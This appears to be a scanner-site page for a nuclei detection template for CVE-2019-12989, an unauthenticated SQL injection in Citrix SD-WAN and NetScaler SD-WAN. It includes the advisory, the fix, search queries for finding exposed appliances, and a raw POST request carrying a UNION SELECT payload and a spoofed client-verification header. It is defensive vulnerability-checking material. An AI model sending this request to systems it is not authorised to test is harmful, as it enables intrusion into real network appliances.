Citrix SD-WAN and NetScaler SD-WAN - SQL Injection

Exploited in the wild. Listed by CISA on 2022-03-25; known to be used by ransomware.

criticalseverity

9.8CVSS score

95%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Citrix SD-WAN 10.2.x before 10.2.3 and NetScaler SD-WAN 10.0.x before 10.0.8 contain an SQL injection vulnerability. An unauthenticated attacker can exploit improper validation of input in specific components, which could allow for execution of arbitrary SQL queries against the backend database. This could result in information disclosure, manipulation of data, or complete compromise of affected systems.

Impact

Successful exploitation may allow a remote unauthenticated attacker to execute SQL commands on the system, potentially resulting in unauthorized access, data leakage, modification of critical data, or full compromise of the SD-WAN appliance.

Fix

Apply the vendor patch: upgrade Citrix SD-WAN to version 10.2.3 or later, and NetScaler SD-WAN to version 10.0.8 or later as detailed in the official Citrix advisory.

How to confirm it

Send: POST /sdwan/nitro/v1/config/get_package_file?action=file_download
Positive when: contains_all(body, "status\":\"fail", "Invalid value specified") && status_code == 400 or contains(body, "{{md5({{num}})}}") && status_code == 400

Run it with nuclei: nuclei -id CVE-2019-12989 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2019-12989

info:
  name: Citrix SD-WAN and NetScaler SD-WAN - SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    Citrix SD-WAN 10.2.x before 10.2.3 and NetScaler SD-WAN 10.0.x before 10.0.8 contain an SQL injection vulnerability. An unauthenticated attacker can exploit improper validation of input in specific components, which could allow for execution of arbitrary SQL queries against the backend database. This could result in information disclosure, manipulation of data, or complete compromise of affected systems.
  impact: |
    Successful exploitation may allow a remote unauthenticated attacker to execute SQL commands on the system, potentially resulting in unauthorized access, data leakage, modification of critical data, or full compromise of the SD-WAN appliance.
  remediation: |
    Apply the vendor patch: upgrade Citrix SD-WAN to version 10.2.3 or later, and NetScaler SD-WAN to version 10.0.8 or later as detailed in the official Citrix advisory.
  reference:
    - http://packetstormsecurity.com/files/153638/Citrix-SD-WAN-Appliance-10.2.2-Authentication-Bypass-Remote-Command-Execution.html
    - https://support.citrix.com/article/CTX251987
    - https://www.tenable.com/security/research/tra-2019-32
    - https://nvd.nist.gov/vuln/detail/CVE-2019-12989
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-12989
    epss-score: 0.94957
    epss-percentile: 0.9986
    cwe-id: CWE-89
    cpe: cpe:2.3:a:citrix:netscaler_sd-wan:*:*:*:*:*:*:*:*
  metadata:
    verified: false
    max-request: 1
    vendor: citrix
    product: netscaler_sd-wan
    fofa-query: (title="citrix sd-wan") && icon_hash="177980953"
    google-query: intitle:"citrix sd-wan"
  tags: cve,cve2019,citrix,sqli,kev,vkev,vuln

variables:
  num: "999999999"

http:
  - raw:
      - |
        POST /sdwan/nitro/v1/config/get_package_file?action=file_download HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json
        SSL_CLIENT_VERIFY: SUCCESS

        {"get_package_file": {"site_name": "test' union select md5({{num}}), 'x', 'y', 'z' #","appliance_type": "primary","package_type": "active"}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "status\":\"fail", "Invalid value specified") && status_code == 400'
          - 'contains(body, "{{md5({{num}})}}") && status_code == 400'
        condition: or

References

Use this check only on systems you are authorised to test. Where the data comes from